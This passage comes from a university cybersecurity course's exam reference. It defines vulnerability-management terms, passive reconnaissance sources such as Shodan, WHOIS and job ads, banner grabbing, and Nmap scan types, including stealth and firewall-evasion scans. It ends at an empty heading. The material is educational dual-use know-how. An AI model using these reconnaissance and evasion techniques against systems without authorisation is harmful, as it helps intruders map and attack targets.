Connection: NVTs in GVM are analogous to plugins in Nessus or signatures in an IDS. The NVT family structure maps onto vulnerability categories — the 'Backdoors' family would fire on the vsftpd backdoor (CVE-2011-2523); the 'Gain a Shell Remotely' family covers remote code execution vulnerabilities. Understanding NVTs helps interpret scanner output — a finding's NVT name often tells you more about the specific check than the CVE ID alone.

Proof of Concept

A Proof of Concept (PoC) is a demonstration — typically a minimal piece of code, a script, or a documented set of steps — that proves a vulnerability is exploitable in practice without necessarily being a fully weaponised, production-ready attack tool. PoC code shows that the vulnerability is real and can be triggered, but may not be reliable, stealthy, or optimised for real-world use.

WHY it matters: PoC is critically important for two reasons. For defenders: when a PoC is published for a vulnerability, the window to patch narrows dramatically — even non-expert attackers can run a PoC. The existence of a public PoC is a key driver of urgency in vulnerability management. For testers: PoC is the minimum standard for demonstrating a finding in a penetration test — you must show that the vulnerability is actually exploitable, not just that the vulnerable software version is present.

Context in penetration testing ethics: A PoC is the appropriate deliverable in most professional penetration tests. The goal is to prove impact to the client, not to cause actual harm. The Non-Harm Principle constrains how far exploitation goes — demonstrating you can read /etc/passwd is sufficient to prove privilege escalation; actually exfiltrating all data is not required and may violate the Rules of Engagement.

Connection: PoC appears in both the Vulnerability Scanners context (a scanner finding supported by a PoC is high-confidence) and the Penetration Testing Concepts context (as an ethical constraint on how far exploitation proceeds). The Exploit Database is a repository of PoC exploit code. CVE entries often reference public PoCs. Metasploit modules are essentially polished, production-grade PoCs.

Remediation

Remediation is the process of fixing or mitigating vulnerabilities identified during a vulnerability assessment or penetration test. It encompasses all actions taken to reduce risk — applying patches, changing configurations, disabling unnecessary services, updating software, adding compensating controls, or replacing end-of-life components.

WHY it matters: Scanning and testing have no security value without remediation. The entire point of vulnerability assessment is to produce actionable findings that result in a more secure system. Remediation closes the loop from discovery to resolution.

Types of remediation action: Patching: Applying the vendor's fix — removes the vulnerability entirely. The gold standard. Configuration change: Disabling a vulnerable feature, enforcing stricter settings, changing default credentials — does not fix the underlying flaw but removes or reduces exploitability. Compensating

control: Adding a firewall rule, IDS signature, or WAF rule that blocks the attack vector without fixing the root cause — reduces risk without full remediation. Component replacement: Replacing EOL software with a supported version when patching is not possible. Risk acceptance: Formally documenting that a vulnerability is known, understood, and accepted (with justification) — not remediation, but an explicit risk management decision.

Connection: Remediation is followed by Retesting to verify it was successful. In the vulnerability lifecycle: Discover (scan) → Prioritise (CVSS) → Remediate → Retest → Close. Residual Risk (in threat modeling) is what remains after remediation. GDPR Article 32 implies timely remediation as part of 'appropriate technical measures'. NIS2 requires organisations to have vulnerability management processes that include remediation.

Retesting

Retesting is the process of re-running vulnerability checks after remediation has been applied, to verify that the fix was effective and the vulnerability is no longer present. It closes the vulnerability management loop — confirming that what was found has actually been fixed, not just marked as resolved.

WHY it matters: Remediation attempts can fail silently. A patch may not apply correctly. A configuration change may be reversed by a subsequent deployment. A compensating control may have a bypass. Without retesting, there is no assurance that the vulnerability has actually been resolved. In formal assessment contexts (penetration tests, compliance audits), retesting is typically required before a finding can be marked as closed.

How retesting works in practice: For scanner findings, the specific NVTs/plugins that flagged the vulnerability are re-run against the target after remediation. For penetration test findings, the tester re-attempts the specific exploit or technique that demonstrated the vulnerability — if it no longer works, the finding is closed.

Scope of retesting: Retesting focuses specifically on the identified vulnerabilities, not a full new scan. It is scoped, targeted, and efficient. A full rescan may also be performed to check for regressions (new vulnerabilities introduced by the remediation itself — for example, a patch that introduces a new dependency with its own vulnerabilities).

Connection: Retesting is the final step in the vulnerability management cycle: Scan → Prioritise (CVSS) → Remediate → Retest → Close. Rules of Engagement for a penetration test typically define whether retesting is included in scope and within what timeframe. NIS2 and ISO 27001 both imply cyclical vulnerability management with verification, which retesting operationalises.

■ ACTIVE SCANNING / NETWORK TOOLS

- whois (command)
- host (command)
- nslookup (command)
- dig (command)
- NetDiscover
- EtherApe
- Nmap (Network Mapper)
- Wireshark
- Scapy
- Legion
- ARP Discovery
- CIDR Notation (e.g. /24)

■ PASSIVE RECONNAISSANCE TOOLS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Netcraft

Netcraft ([netcraft.com](https://www.netcraft.com)) is a long-running internet services company and OSINT tool that provides detailed information about websites, hosting infrastructure, and internet trends. Its Site Report feature reveals a target's web server software, hosting provider, IP address history, SSL/TLS certificate details, site uptime history, and technologies detected (CMS, scripting language, analytics). Netcraft also maintains a phishing site database used by browsers for blacklisting.

WHY it matters: From a reconnaissance perspective, Netcraft gives an attacker or tester a rich profile of a target's internet-facing infrastructure without ever sending a single packet to the target. Knowing the exact web server version, hosting provider, and technology stack directly informs what vulnerabilities to look for and which exploits to try.

Examples of what Netcraft reveals: web server type and version (Apache 2.4.x, nginx 1.18), operating system inference, hosting history (was this IP ever hosted elsewhere?), SSL certificate issuer and expiry, first seen date, and detected technologies.

Connection: Netcraft is a passive reconnaissance tool — it queries Netcraft's own database rather than probing the target. It is used in the OSINT phase before active scanning begins. The information it provides feeds directly into attack surface analysis. Knowing the server software version lets you cross-reference CVE/NVD for known vulnerabilities before a single port scan is run.

Internet Archive / Wayback Machine

The Internet Archive (archive.org) is a nonprofit digital library that continuously crawls and snapshots publicly accessible websites. Its Wayback Machine interface allows anyone to view historical snapshots of a website — including pages, source code, and content that has since been deleted or changed. Billions of web pages are archived across decades.

WHY it matters: Websites change over time. Old versions may expose: forgotten admin panels that were later removed, credentials or API keys accidentally committed to public files, old employee directories, decommissioned endpoints still running on the server, outdated software version disclosures, and internal infrastructure details that were public briefly before being locked down. An attacker can find attack surfaces that the target organisation believes no longer exist.

Practical reconnaissance uses: searching for old login pages, finding robots.txt history (directories explicitly excluded from indexing are often interesting), discovering past subdomain structures, locating old developer notes left in HTML source, and recovering deleted pages that contained sensitive internal information.

Connection: A passive reconnaissance tool — queries the Archive's own copies, not the live target. Appears alongside Netcraft and Shodan in the passive recon toolkit. Closely related to Archive.org (they are the same organisation). The principle it exploits is that the internet has a long memory — deleting something from a live site does not delete it from the archive.

Shodan

Shodan (shodan.io) is a search engine for internet-connected devices. Unlike Google which indexes web page content, Shodan continuously scans the entire public IPv4 address space, connects to every open port, reads service banners, and indexes the results. It can find and display any internet-exposed device: web servers, routers, webcams, industrial control systems (ICS/SCADA), printers, VoIP phones, databases, and misconfigured cloud services.

WHY it matters: Shodan makes it trivial to find exposed services without actively scanning a target. An attacker can search for all exposed MongoDB instances with no authentication, all devices running a specific vulnerable firmware version, or all open RDP servers in a given country — in seconds. For defenders, Shodan shows exactly what their organisation exposes to the internet, often revealing forgotten or shadow IT assets.

Key Shodan features: search by banner content, port, hostname, organisation, country, ASN, product name, or CVE. Shodan Monitor lets organisations track their own exposed assets. The Shodan exploit database links exposed services to known exploits.

Example searches relevant to the course: searching for vsftpd 2.3.4 (CVE-2011-2523 backdoor), open VNC servers (port 5900), or publicly exposed Elasticsearch instances (port 9200, no authentication).

Connection: Passive reconnaissance tool — Shodan does the active scanning so you do not have to. Directly extends attack surface analysis to the global internet. Closely related to OSINT. The information Shodan exposes (banners, service versions) is the same information Nmap and Metasploit auxiliary scanners collect actively. Shodan effectively democratises the attacker's view of the internet.

WHOIS

WHOIS is a protocol and query service that retrieves registration information about domain names, IP address blocks, and autonomous systems (ASes) from the databases maintained by domain registrars and Regional Internet Registries (RIRs: ARIN for North America, RIPE NCC for Europe/Middle East/Central Asia, APNIC for Asia-Pacific, etc.). A WHOIS lookup for a domain returns: registrant name and organisation, registrar, registration and expiry dates, name servers, and sometimes registrant contact details (address, phone, email).

WHY it matters: WHOIS data is a primary passive reconnaissance source. It maps a domain to a real-world organisation, reveals technical contacts (often real employee names and email formats), exposes name servers (which can lead to DNS zone transfer attempts), and identifies the IP ranges owned by an organisation (enabling scope definition for a penetration test or a targeted attack campaign).

WHOIS privacy services: Many registrants now use WHOIS privacy/proxy services that substitute the registrar's generic contact information for the real owner's details, reducing the utility of WHOIS for social engineering. However, historical WHOIS data may still be available in archives.

Connection: Available as both the web-based whois lookup and the whois command-line tool. WHOIS data feeds into OSINT investigations — registrant email patterns reveal employee email formats; name server information reveals hosting infrastructure; IP range data reveals what falls within scope for testing. Pairs with DNS records (dig, nslookup) to build a comprehensive picture of a target's internet presence. ARIN and RIPE NCC are the specific RIRs mentioned in course lab context.

Passive Scanning

Passive scanning (also called passive reconnaissance) is the process of gathering information about a target system or organisation without directly interacting with or sending packets to the target. All information is collected from publicly available third-party sources, cached data, or observed network traffic — the target receives no direct probe or connection from the attacker.

WHY it matters: Passive scanning leaves no trace in the target's logs. There is no connection attempt to detect, no unusual traffic pattern to alert an IDS, and no indication that someone is gathering intelligence. It is the stealthiest form of reconnaissance. Even if a target monitors their network perfectly, passive scanning against them is invisible because the traffic goes to third parties (Shodan, Netcraft, WHOIS registrars, the Wayback Machine), not to the target.

Passive vs Active scanning distinction: Passive = query external databases, read public records, observe without touching. Active = send packets directly to the target (Nmap port scan, vulnerability scanner probe, banner grabbing). Active scanning is detectable; passive scanning is not.

Techniques: WHOIS lookups, Shodan queries, Netcraft site reports, DNS record lookups from public resolvers, job posting analysis, social media profiling, Wayback Machine searches, Google dorking, certificate transparency log searches.

Connection: Passive scanning is the first phase of a penetration test or attack, performed before any active engagement. The distinction between passive and active is critical for staying within the Rules of Engagement — some engagements permit only passive reconnaissance of out-of-scope systems. Contrast with the Active Scanning / Network Tools section which covers techniques that directly probe targets.

Archive.org

Archive.org is the web address of the Internet Archive, a nonprofit that preserves digital content including websites, books, audio, video, and software. In the reconnaissance context, Archive.org and the Wayback Machine are used interchangeably — Archive.org is the organisation and hosting domain; the Wayback Machine is the specific interface for browsing historical website snapshots.

WHY it matters: The same as Wayback Machine — historical website content can reveal sensitive data, removed pages, old credentials, infrastructure details, and forgotten endpoints. Archive.org also preserves old software packages, historic documentation, and decommissioned web applications, which can reveal the history of a target's technology choices.

Additional relevance beyond web archiving: Archive.org hosts a large corpus of historical software, including old operating system versions and applications that are useful in forensic and malware analysis contexts. The Internet Archive's Wayback Machine CDX API allows programmatic querying of archived URLs, which is used by OSINT automation tools.

Connection: Archive.org = Internet Archive = Wayback Machine in the context of this course. They are all the same entity. Treated as a distinct term in the word list to recognise that students may encounter both names. Passive reconnaissance tool; no packets sent to target.

Job Advertisements (as OSINT)

Job advertisements posted by an organisation are a rich, publicly available source of intelligence about its internal technology stack, security posture, team structure, and strategic direction. A job posting for a 'Senior AWS Security Engineer' reveals cloud platform; a posting for 'Palo Alto Networks firewall administrator' reveals the firewall vendor; a posting for 'Windows Server 2019 administrator' reveals OS versions in use.

WHY it matters: Organisations inadvertently advertise their infrastructure through job postings. An attacker reading job ads can determine: which software and hardware vendors are in use (and therefore which CVEs to research), what security tools are deployed (and therefore which tools are monitored), what skills are missing from the team (and therefore where the security gaps likely are), and sometimes the specific versions and configurations being sought.

Examples of intelligence derivable from job postings: 'Experience with Splunk SIEM' reveals the SIEM in use; 'manage our Cisco ASA firewall' reveals the firewall brand; 'experience with legacy Windows XP systems' reveals EOL software still in production; 'migrate from on-prem to Azure' reveals upcoming infrastructure changes and transition-period vulnerability windows.

Connection: A purely passive OSINT technique — job boards (LinkedIn, Indeed, Glassdoor, company career pages) are public. No interaction with the target whatsoever. Falls under the OSINT Framework's organisational intelligence category. Combined with social media profiling and employee LinkedIn profiles, job ads are one of the most underestimated intelligence sources in the passive recon phase.

Discussion Boards / Chat Rooms (as OSINT)

Developer forums, community discussion boards, Stack Overflow, Reddit, GitHub issues, IRC channels, Discord servers, and similar platforms are passive OSINT sources that can reveal sensitive information about a target organisation's internal systems, configurations, and problems. Employees often post technical questions, error messages, configuration snippets, or troubleshooting details that inadvertently expose internal details.

WHY it matters: People ask for help publicly when they are stuck. A developer asking 'how do I configure my Tomcat 7 server on Ubuntu 14.04 to...' reveals software versions and OS; an IT admin posting an error log containing internal hostnames and IP addresses exposes network topology; a developer posting code that includes API keys, database connection strings, or internal URLs creates a direct vulnerability.

Types of intelligence found: internal hostnames and IP address ranges, software versions and configurations, error messages that reveal application internals, code snippets with credentials or tokens, details about security tools and network architecture, and employee names and roles.

Historical examples: Countless breaches have started with leaked credentials found in public GitHub repositories or Stack Overflow answers containing internal configuration. AWS keys posted to public repos have been harvested by bots within minutes.

Connection: Passive OSINT — no contact with the target. Tools like GitHub Dorking, Google Dorking, and specialised OSINT search tools can automate the search for organisation-specific mentions across public platforms. Combined with Job Advertisements, this category of OSINT reveals the human and technical dimensions of a target. Closely related to Data Breach Material in the OSINT section — breached databases also appear on dark web forums.

Banner

A banner is a text string returned by a network service when a client connects to it, typically before any authentication occurs. Banners are designed to identify the service — they announce what software is running, often including the exact version number. Examples: an SSH banner might read 'SSH-2.0-OpenSSH_7.4'; an FTP banner might read '220 (vsFTPd 2.3.4)'; an HTTP Server header might read 'Apache/2.4.49 (Unix)'.

WHY it matters: Banners are one of the primary information sources in both passive and active reconnaissance. A version number in a banner can be cross-referenced against NVD/CVE to immediately identify whether a service is running a known-vulnerable version. The vsftpd 2.3.4 FTP banner, for example, directly identifies the backdoored version (CVE-2011-2523). Banner grabbing — the act of connecting to a service and reading its banner — is one of the simplest and most effective reconnaissance techniques.

Banner grabbing tools: Nmap's -sV flag performs service version detection, which involves banner grabbing and pattern matching. Netcat (nc) can grab banners manually: nc target 21 will return the FTP banner. Metasploit auxiliary scanner modules also collect banners (e.g. auxiliary/scanner/ftp/ftp_version).

Defensive consideration: Many organisations configure services to suppress or falsify banners (banner obfuscation / banner masking) to reduce information disclosure. However, this is a shallow defence — version fingerprinting through protocol behaviour often reveals the true version regardless of the banner text.

Connection: Banners are the mechanism behind Nmap's service/version detection (-sV). They are also what Shodan indexes — Shodan's database is essentially a global archive of service banners. In STRIDE terms, a verbose banner is an Information Disclosure threat. Banner grabbing is the bridge between passive reconnaissance (reading Shodan's cached banners) and active scanning (directly connecting to grab a live banner).

■ NMAP SPECIFICS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Host Discovery

Host discovery is the phase of an Nmap scan that determines which hosts on a network are online and reachable before attempting port scanning. Rather than wasting time scanning all 65535 ports on IP addresses that may not exist or be offline, Nmap first probes each address to confirm it is up. By default, Nmap sends an ICMP echo request, a TCP SYN to port 443, a TCP ACK to port 80, and an ICMP timestamp request to each target.

WHY it matters: In a large network (e.g. a /16 with 65536 addresses), host discovery dramatically reduces scan time by skipping dead addresses. It also reveals the network's live host density, which informs scope and effort estimation before a full port scan.

Common host discovery flags: -sn (ping sweep, host discovery only, no port scan), -PE (ICMP echo), -PS (TCP SYN ping), -PA (TCP ACK ping), -PU (UDP ping), -Pn (skip host discovery entirely, treat all as up).

Connection: Host discovery is a prerequisite step before port scanning. It can be suppressed with -Pn when firewalls block ICMP and standard probes, making every target appear dead even if it is up. In stealth engagements, host discovery probes themselves may trigger IDS alerts, so timing and probe type selection matters.

Port Scanning

Port scanning is the process of probing a target host's TCP and UDP ports to determine which are open (a service is listening), closed (the port is reachable but no service listens), or filtered (a firewall is blocking or dropping probes). It is the core activity of active network reconnaissance — mapping what services are exposed on a host.

WHY it matters: Open ports are the entry points to services. Knowing which ports are open tells you which services are running and therefore which vulnerabilities to investigate. A host with port 445 open is running SMB and may be vulnerable to EternalBlue; a host with port 21 open is running FTP and may be running vsFTPD 2.3.4.

Default Nmap behaviour: Without flags, Nmap scans the 1000 most common TCP ports using a SYN scan (if privileged) or TCP connect scan (if unprivileged). Full port scans (-p-) cover all 65535 ports.

Connection: Port scanning follows host discovery and precedes service detection. It is the foundation of attack surface mapping. The six port states (open, closed, filtered, unfiltered, open|filtered, closed|filtered) are all Nmap concepts. Different scan types (SYN, TCP Connect, FIN, NULL, Xmas, UDP) reveal ports in different ways and have different detectability profiles.

Service Detection / Version Detection (-sV)

Service and version detection (-sV) causes Nmap to go beyond identifying open ports and attempt to determine the exact service and software version running on each open port. Nmap sends a series of probe packets to each open port and matches the responses against its database of known service signatures (nmap-service-probes). It reports the service name, version number, and often extra details like hostname or OS.

WHY it matters: Knowing port 80 is open tells you HTTP is running. Knowing it is 'Apache httpd 2.4.49' tells you it is vulnerable to CVE-2021-41773 (path traversal/RCE). Version detection is what converts a list of open ports into an actionable vulnerability target list. It is also what populates the banner field in scan results.

Intensity levels: -sV intensity can be set from 0 (light probing) to 9 (try every probe). --version-all tries every probe regardless of port. Default intensity is 7.

Connection: -sV is the flag that performs banner grabbing programmatically. Output feeds directly into Metasploit (search for modules by service/version), Nessus/GVM (confirms affected versions), and manual CVE lookups. Combined with -O (OS detection), -sV gives a near-complete fingerprint of the target. The -A flag bundles -sV together with OS detection, NSE scripts, and traceroute.

OS Detection (-O)

OS detection (-O) causes Nmap to attempt to identify the operating system running on a target host by analysing subtle differences in how the TCP/IP stack responds to various crafted probe packets — a technique called TCP/IP stack fingerprinting. Nmap compares observed responses against its nmap-os-db database of thousands of known OS fingerprints and returns the best match with a confidence percentage.

WHY it matters: Knowing the OS narrows the attack surface dramatically. A Windows Server 2008 R2 host is vulnerable to BlueKeep (CVE-2019-0708) and DejaBlue; a Linux host running kernel 3.x has a different exploit landscape entirely. OS detection is essential for selecting the right payloads in Metasploit and for understanding what post-exploitation techniques will work.

Requirements: OS detection requires at least one open and one closed port on the target to generate reliable fingerprints. It also requires root/administrator privileges (because it uses raw sockets).

Connection: -O is bundled into the -A flag along with -sV, NSE scripts, and traceroute. OS detection results are used by Metasploit to suggest compatible exploit modules. In the course labs, OS detection helps distinguish Metasploitable 2 (Linux) from Metasploitable 3 (Windows) targets and correctly select payloads like linux/x86/meterpreter/reverse_tcp vs windows/meterpreter/reverse_tcp.

SYN Scan / Half-Open Scan (-sS)

The SYN scan (also called half-open scan or stealth scan) is Nmap's default and most popular scan type. It sends a TCP SYN packet to each target port. If the port is open, the target responds with SYN-ACK; Nmap then sends a RST (reset) instead of completing the handshake, so the TCP connection is never fully established — it is left half-open. If the port is closed, the target responds with RST. If filtered, the packet is dropped or an ICMP unreachable is returned.

WHY it matters: Because the connection is never completed, many older logging systems do not record a half-open connection — it is stealthier than a full TCP Connect scan. It is also faster since no full handshake overhead occurs. Requires root/administrator privileges because it uses raw sockets to craft the RST packet.

Port state determination: Open: SYN-ACK received, RST sent by Nmap. Closed: RST received. Filtered: No response or ICMP unreachable.

Connection: The default scan type when running Nmap as root. Contrasts with TCP Connect scan (-sT) which completes the handshake and is therefore more detectable and loggable. The half-open technique is the basis of many IDS evasion discussions. The SYN Flood DoS attack abuses the same half-open connection mechanism to exhaust the server's backlog buffer.

TCP Connect Scan (-sT)

The TCP Connect scan (-sT) performs a full TCP three-way handshake (SYN, SYN-ACK, ACK) with each target port and then immediately closes the connection. It uses the operating system's standard connect() system call rather than raw sockets, meaning it does not require root privileges.

WHY it matters: TCP Connect is the fallback scan type when the user does not have root privileges (on Linux/macOS) or is scanning through a proxy. It is fully reliable because the OS handles the connection, but it is slower and significantly more detectable than SYN scan — the completed connection appears in the target's logs as a normal (if very brief) connection.

When to use: When running Nmap without root privileges. When scanning through a SOCKS proxy or other connection-oriented intermediate. When scanning network devices that behave differently with half-open connections.

Connection: Contrasts with -sS (SYN scan) which is faster and stealthier. The completed handshake means the target's application layer may also log the connection, not just the TCP stack. In IDS terms, a TCP Connect scan is easier to detect and correlate than a SYN scan because the session state is fully established.

FIN Scan (-sF)

The FIN scan sends a TCP packet with only the FIN flag set to each target port. According to RFC 793, a closed port should respond with RST, while an open port should silently drop the packet (no response). This allows Nmap to infer port state without completing a connection.

WHY it matters: FIN scans (along with NULL and Xmas scans) are designed to bypass simple packet filters and older stateless firewalls that only block SYN packets. They exploit the RFC 793 behaviour to probe ports without triggering rules that look for SYN packets specifically. This makes them useful for firewall rule enumeration and evasion.

Limitations: This technique only works reliably on systems that strictly follow RFC 793. Windows systems do not follow this RFC behaviour — Windows sends RST for both open and closed ports regardless of the flag, making FIN/NULL/Xmas scans unreliable on Windows targets. Also blocked by stateful firewalls.

Connection: Part of the trio of RFC-exploiting scans: FIN (-sF), NULL (-sN), Xmas (-sX). All three exploit the same RFC 793 behaviour and share the same Windows limitation. They are grouped together in the course as alternative scan types useful for specific firewall evasion scenarios.

NULL Scan (-sN)

The NULL scan sends a TCP packet with no flags set (all flag bits are 0) to each target port. Like FIN scan, a closed port per RFC 793 should respond with RST, and an open or filtered port should drop the packet silently.

WHY it matters: The NULL scan is another RFC 793-exploiting technique for bypassing simple stateless firewalls and packet filters that look for specific TCP flags. A packet with no flags set is anomalous — legitimate TCP traffic always has at least one flag set — so it may not match firewall DROP rules that examine specific flag combinations.

Limitations: Same as FIN scan — Windows ignores RFC 793 behaviour for these edge cases and responds with RST to both open and closed ports, making the scan unreliable on Windows. Stateful firewalls also detect and block these scans because they track connection state and recognise the packet as not belonging to any established or half-open connection.

Connection: Part of the FIN/NULL/Xmas trio. All three have the same use case (firewall evasion/enumeration) and the same Windows limitation. They are primarily useful for OS inference: if a host

responds to NULL/FIN/Xmas scans as expected, it is likely a Unix-like system; if it returns RST for all, it is likely Windows.

Xmas Scan (-sX)

The Xmas scan sends a TCP packet with the FIN, PSH, and URG flags all set simultaneously — the packet is 'lit up like a Christmas tree,' hence the name. Like FIN and NULL scans, RFC 793 specifies that a closed port responds with RST and an open port drops the packet silently.

WHY it matters: Same motivations as FIN and NULL scans — firewall evasion and OS fingerprinting. The Xmas combination is a classic example of a malformed TCP packet that is anomalous enough to slip through some simple packet filters while still triggering the RFC 793 closed-port RST response.

Limitations: Identical to FIN and NULL scans — unreliable against Windows, blocked by stateful firewalls. The unusual flag combination is also a known IDS signature, so modern IDS/IPS systems (Snort, Suricata) will alert on Xmas scan traffic.

Connection: The three RFC 793-exploiting scans (FIN, NULL, Xmas) are tested together in IDS rule sets. Snort has specific rules that detect the Xmas flag combination. The name is memorable enough that it appears regularly in exam questions about Nmap scan types. Its primary exam relevance is: when asked to identify a stealthy scan type that exploits RFC 793 and fails against Windows — FIN, NULL, or Xmas.

UDP Scan (-sU)

The UDP scan (-sU) probes UDP ports rather than TCP ports. UDP is a connectionless protocol — there is no handshake — so Nmap sends a UDP packet to each port. If the port is closed, the target should respond with an ICMP port unreachable message. If the port is open, there may be no response (many UDP services only respond to valid application-layer payloads) or a UDP response may arrive.

WHY it matters: Many critical services run over UDP: DNS (53), DHCP (67/68), SNMP (161), NTP (123), TFTP (69), VoIP (SIP, RTP). These services are often overlooked because TCP scanning is the default. A UDP scan can reveal services and vulnerabilities that would be completely missed by TCP-only scanning.

Challenges: UDP scanning is significantly slower than TCP scanning because of ICMP rate limiting (the OS limits how many ICMP unreachable messages it sends per second, creating delays), lack of handshake confirmation, and the need to send protocol-specific payloads to get responses from open UDP services. A full UDP scan of all 65535 ports can take hours.

Connection: Combined with TCP scanning (-sS -sU together) for comprehensive port coverage. UDP scan findings from the labs: SNMP on port 161 is a common misconfiguration finding — SNMP v1/v2 with default community string 'public' exposes extensive system information. DNS (port 53) UDP scan can reveal DNS server version strings.

ACK Scan (-sA)

The ACK scan (-sA) sends TCP packets with only the ACK flag set to target ports. It does not determine whether ports are open or closed — instead, it determines whether ports are filtered or unfiltered. An unfiltered port (reachable, no firewall rule blocking) responds with RST regardless of whether a service is listening. A filtered port (firewall rule present) drops the packet or returns ICMP unreachable.

WHY it matters: The ACK scan is used specifically for firewall rule mapping — it reveals which ports have stateful firewall rules blocking them versus which ports pass ACK packets freely. This is valuable for understanding the firewall rule set without triggering SYN-based detection rules, since ACK packets are expected in ongoing connections.

Port states returned: unfiltered (RST received — port is reachable) or filtered (no response or ICMP unreachable — firewall is blocking).

Connection: The ACK scan is a firewall analysis tool, not a service discovery tool. It complements SYN scans — run -sA first to map which ports are filtered, then -sS on unfiltered ports for open/closed determination. Stateful firewalls track connection state and can recognise ACK packets with no matching SYN, blocking them even on 'open' ports. The TCP Window Scan (-sW) is a related technique that extends ACK scanning.

TCP Window Scan (-sW)

The TCP Window Scan (-sW) works identically to the ACK scan — it sends ACK packets — but additionally examines the TCP window size field in the RST responses. On some systems, the window size in a RST packet differs between open and closed ports, allowing the scan to distinguish open from closed even without a full handshake.

WHY it matters: The TCP Window scan is an advanced technique that can differentiate open from closed ports on certain operating systems (notably some BSD variants) where the window size field behaves differently. It provides additional information over a pure ACK scan in environments where this OS behaviour is present.

Limitations: This technique is OS-specific and unreliable across different systems — many operating systems use a window size of 0 in all RST packets, making open and closed ports indistinguishable. It is useful in specific targeted scenarios, not as a general-purpose scan.

Connection: Closely related to ACK Scan (-sA) — same mechanism, additional window analysis. Both are used for firewall enumeration rather than primary service discovery. The practical exam relevance is understanding its relationship to -sA and knowing it relies on OS-specific TCP implementation quirks.

SCTP INIT Scan (-sY)

The SCTP INIT scan (-sY) is the SCTP equivalent of the TCP SYN scan, targeting the Stream Control Transmission Protocol. SCTP is a transport-layer protocol (like TCP and UDP) used primarily in telecommunications and signalling networks (e.g. SS7, VoIP signalling, 4G/LTE control planes). The scan sends an SCTP INIT chunk; an open port responds with INIT-ACK, a closed port with ABORT.

WHY it matters: SCTP services are found in telecom infrastructure and are rarely scanned by default. An SCTP INIT scan reveals exposed telecom services that TCP/UDP scans would miss entirely. In environments with telecom-adjacent infrastructure, SCTP port exposure is a significant attack surface.

Connection: SCTP is a fourth transport protocol alongside TCP, UDP, and ICMP in the course's networking coverage. The SCTP INIT scan mirrors the logic of the TCP SYN scan — half-open, no full association established. Rarely encountered in standard enterprise environments but important for completeness in understanding Nmap's full capability.

Idle Scan (-sI)

The Idle scan (-sI) is Nmap's most stealthy scan technique. It exploits a 'zombie' host — a third, idle machine on the network — to port scan the real target without sending any packets directly from the attacker's IP address. The attacker probes the zombie's IP ID counter (a field in the IP header that increments predictably on idle systems), forges SYN packets to the target appearing to come from the zombie, and infers port state by observing whether the zombie's IP ID counter increments by 1 (no response to zombie) or 2 (target sent RST or SYN-ACK to zombie, which responded).

WHY it matters: A successful idle scan reveals no trace of the attacker's real IP address in the target's logs — all traffic appears to come from the zombie. It provides near-perfect source IP anonymity. It also reveals firewall rules from the target's perspective of the zombie's IP, which may differ from rules applied to other source IPs.

Requirements: The zombie must be truly idle (low or no outgoing traffic) and must use predictable sequential IP ID increments. Many modern OS kernels now use random IP IDs, making the technique unreliable in practice.

Connection: The idle scan is the gold standard of stealthy Nmap techniques. Its exam relevance is understanding the mechanism (IP ID side-channel), the requirement for a suitable zombie host, and its purpose (IP anonymity during scanning). It is rarely used in real engagements because of the difficulty in finding suitable zombie hosts.

IP Protocol Scan (-sO)

The IP Protocol scan (-sO) determines which IP protocols (not ports) are supported by the target host — for example, whether the host accepts TCP (protocol 6), UDP (17), ICMP (1), IGMP (2), OSPF (89), or other protocols. It sends raw IP packets with various protocol numbers in the header and analyses responses to determine which protocols are accepted versus rejected.

WHY it matters: Some network protocols beyond TCP and UDP can represent attack surfaces — IGMP, OSPF, and GRE have had vulnerabilities. The protocol scan reveals the full protocol attack surface of a target, not just TCP and UDP services. It is also useful for network topology analysis.

Connection: The -sO scan is distinct from port scanning — it operates at the IP layer rather than the transport layer. It is a less commonly used scan type in standard assessments but completes Nmap's coverage of the IP protocol space. Relevant in environments with complex routing protocols or VPN infrastructure.

RPC Scan (-sR) [legacy]

The RPC scan (-sR) was a legacy Nmap scan type that identified Remote Procedure Call (RPC) services by sending RPC null queries to open ports and checking whether they responded as RPC services. It determined the specific RPC program name and version from each open port that appeared to be running an RPC service. This flag is no longer needed as modern Nmap's NSE scripts and version detection (-sV) handle RPC identification automatically.

WHY it matters: RPC services (Sun RPC / ONC RPC) have historically had serious vulnerabilities — the early 2000s saw major worms exploiting RPC buffer overflows. Understanding that this scan type exists and is now legacy demonstrates knowledge of Nmap's evolution. RPC-based services are still present on Unix/Linux systems (NFS, NIS).

Connection: Superseded by -sV combined with NSE scripts for modern RPC enumeration. Included in the course word list to ensure completeness — the [legacy] tag signals this is a historical term rather than a current primary technique. NFS (port 2049) is an RPC-based service that appears as a finding in vulnerability scanning labs.

Ping Sweep (-sn)

A ping sweep (-sn, formerly -sP) performs host discovery only — it determines which hosts in a target range are online without scanning any ports. Nmap sends host discovery probes (ICMP echo, TCP SYN/ACK, etc.) to each address in the range and reports which ones responded. No port scanning occurs.

WHY it matters: Before running a full port scan against a large network range, a ping sweep quickly maps the live host landscape. This prevents wasting time port-scanning thousands of dead IP addresses. It is also used for network inventory — discovering all live hosts in a subnet is a fundamental network administration and reconnaissance activity.

Example: `nmap -sn 192.168.1.0/24` sends probes to all 254 usable addresses and returns a list of responding hosts with their MAC addresses and vendor names (on the local network).

Connection: -sn is the recommended first step before full scans in large environments. The results feed directly into subsequent targeted -sS/-sV scans. In penetration testing, a ping sweep defines the active attack surface within a given IP range. Note: many hosts block ICMP but respond to TCP probes, so -sn with default probes may still miss some live hosts — use -Pn on hosts suspected to be up but non-responsive to ICMP.

-Pn (skip host discovery)

-Pn instructs Nmap to skip the host discovery phase entirely and treat every target as online, proceeding directly to port scanning. Without -Pn, Nmap sends host discovery probes first and skips port scanning for hosts that appear dead.

WHY it matters: Many firewalls and hosts block ICMP echo requests (ping) and the TCP probes Nmap uses for host discovery. A host that appears 'down' in a ping sweep may actually be running services but blocking discovery probes. -Pn forces Nmap to scan those ports regardless, often revealing services on hosts that would otherwise be skipped entirely.

Practical use: Always use -Pn when scanning internet-facing hosts through firewalls, scanning hosts known to block ICMP, or when the target appears dead but is suspected to be up. The trade-off is slower scans when used on ranges with many truly dead addresses.

Connection: -Pn is effectively the opposite of -sn. -sn = host discovery only, no ports. -Pn = skip host discovery, go straight to ports. In the course labs, Metasploitable machines may require -Pn if the VM

network configuration causes ICMP to not respond normally. In combination with -p- (all ports) and -sV, -Pn -p- -sV is the most thorough scan combination.

-PE (ICMP echo discovery)

